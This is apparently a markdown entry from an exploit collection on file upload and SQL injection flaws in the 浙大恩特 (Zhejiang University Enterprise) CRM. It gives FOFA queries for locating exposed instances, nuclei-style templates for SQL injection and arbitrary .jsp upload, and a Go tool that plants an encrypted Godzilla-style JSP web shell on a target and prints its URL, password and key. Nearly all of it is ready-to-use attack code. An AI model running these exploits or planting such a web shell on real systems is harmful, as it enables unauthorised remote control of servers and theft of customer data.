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Create 浙大恩特客户资源管理系统 文件上传和sql注入漏洞.md
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浙大恩特客户资源管理系统 文件上传和sql注入漏洞.md
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浙大恩特客户资源管理系统 文件上传和sql注入漏洞.md
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## 浙大恩特客户资源管理系统 文件上传和sql注入漏洞
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## 特征
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```
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app.name="浙大恩特 CRM"
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app="浙大恩特客户资源管理系统"
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```
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## SQL注入
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```yaml
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id: enter-T0140_editAction-api-sqli
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info:
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name: 浙大恩特客户资源管理系统T0140_editAction.entweb;.js接口sql注入漏洞
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author: YGnight
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severity: high
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description: description
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reference:
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- https://
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metadata:
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verified: true
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max-request: 1
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fofa-query: app="浙大恩特客户资源管理系统"
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requests:
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- raw:
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- |+
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GET /entsoft/T0140_editAction.entweb;.js?method=getdocumentnumFlag&documentnum=1 HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: close
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Cookie: JSESSIONID=1DAEEF5E703FF40871BD44A67C1EEDD5; JSESSIONID=2C6DAAA80F315B114CD65C9DA80D8D8C
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Upgrade-Insecure-Requests: 1
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- '0'
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```
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## 文件上传1
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```yaml
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id: enter-machord_doc-api-fileupload
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info:
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name: 浙大恩特客户资源管理系统machord_doc.jsp;.js接口任意文件上传
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author: YGnight
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severity: high
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description: description
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reference:
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- https://
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metadata:
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verified: true
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max-request: 1
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fofa-query: app="浙大恩特客户资源管理系统"
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requests:
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- raw:
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- |-
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POST /entsoft_en/Storage/machord_doc.jsp;.js?formID=upload&machordernum=&fileName=night.jsp&strAffixStr=&oprfilenam=null&gesnum= HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0 uacq
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Connection: close
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Content-Type: multipart/form-data; boundary=----4225820000370152680749129212
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Content-Length: 548
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------4225820000370152680749129212
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Content-Disposition: form-data; name="oprfilenam"
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null
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------4225820000370152680749129212
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Content-Disposition: form-data; name="uploadflg"
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0
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------4225820000370152680749129212
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Content-Disposition: form-data; name="strAffixStr"
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------4225820000370152680749129212
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Content-Disposition: form-data; name="selfilenam"
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------4225820000370152680749129212
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Content-Disposition: form-data; name="uploadfile"; filename="night.jsp"
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Content-Type: image/png
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night
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------4225820000370152680749129212--
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- 'night.jsp'
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```
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## 文件上传2
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```go
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package main
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import (
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"bytes"
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"crypto/md5"
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"crypto/tls"
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"encoding/json"
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"fmt"
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"github.com/hpifu/go-kit/hflag"
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"github.com/liushuochen/gotable"
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"github.com/thanhpk/randstr"
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"io/ioutil"
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"mime/multipart"
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"net/http"
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"os"
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"strings"
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"time"
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)
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type Resutl struct {
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VisitRoot string `json:"visitRoot"`
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FileName string `json:"fileName"`
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Path string `json:"path"`
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IsImage bool `json:"isImage"`
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Msg string `json:"msg"`
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}
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func main() {
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context, password, key := initGodZillaShell()
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str := gethost()
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s := exploit(str, context)
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shellURL := strings.Replace(str+s, "//ent", "/ent", 1)
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tb, _ := gotable.Create("ShellURL", "ShellPass", "ShellKey")
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_ = tb.AddRow([]string{
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shellURL, password, key,
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})
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fmt.Println(tb)
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}
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func initGodZillaShell() (shellContext, shellPassword, shellKey string) {
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password := randstr.Hex(12)
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safeKey := randstr.Hex(6)
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md5Key := fmt.Sprintf("%x", md5.Sum([]byte(safeKey)))[0:16]
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shellContent := "<%! String xc=\"" + md5Key + "\"; String pass=\"" + password + "\"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(\"AES\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\"AES\"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\"MD5\");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName(\"java.util.Base64\");Object Encoder = base64.getMethod(\"getEncoder\", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\"encodeToString\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(\"sun.misc.BASE64Encoder\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod(\"encode\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName(\"java.util.Base64\");Object decoder = base64.getMethod(\"getDecoder\", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(\"decode\", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(\"sun.misc.BASE64Decoder\"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod(\"decodeBuffer\", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute(\"payload\")==null){session.setAttribute(\"payload\",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\"parameters\",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute(\"payload\")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}\n%>"
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return shellContent, password, safeKey
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}
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func gethost() string {
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hflag.AddFlag("target", "浙大恩特地址", hflag.Required(), hflag.Shorthand("t"))
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if err := hflag.Parse(); err != nil {
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fmt.Println(hflag.Usage())
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os.Exit(0)
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}
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return hflag.GetString("target")
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}
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func cli() *http.Client {
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c := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
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c.Timeout = time.Second * 15
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return c
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}
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func exploit(t, s string) string {
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client := cli()
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buffer := &bytes.Buffer{}
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writer := multipart.NewWriter(buffer)
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filename := randstr.Hex(8) + ".jsp"
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_, _ = writer.CreateFormFile("file", filename)
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_, _ = buffer.WriteString(s)
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_ = writer.Close()
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target := strings.Replace(t+"/entsoft/MailAction.entphone;.js?act=saveAttaFile", "//en", "/en", 1)
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request, _ := http.NewRequest(http.MethodPost, target, strings.NewReader(buffer.String()))
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request.Header.Set("Content-Type", writer.FormDataContentType())
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request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36")
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do, _ := client.Do(request)
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defer func() {
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_ = do.Body.Close()
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}()
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all, _ := ioutil.ReadAll(do.Body)
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var result Resutl
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_ = json.Unmarshal(all, &result)
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if result.Msg != "上传成功" {
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fmt.Println("上传失败了")
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os.Exit(0)
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}
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split := strings.Split(result.VisitRoot, "null")
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return split[1]
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}
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```
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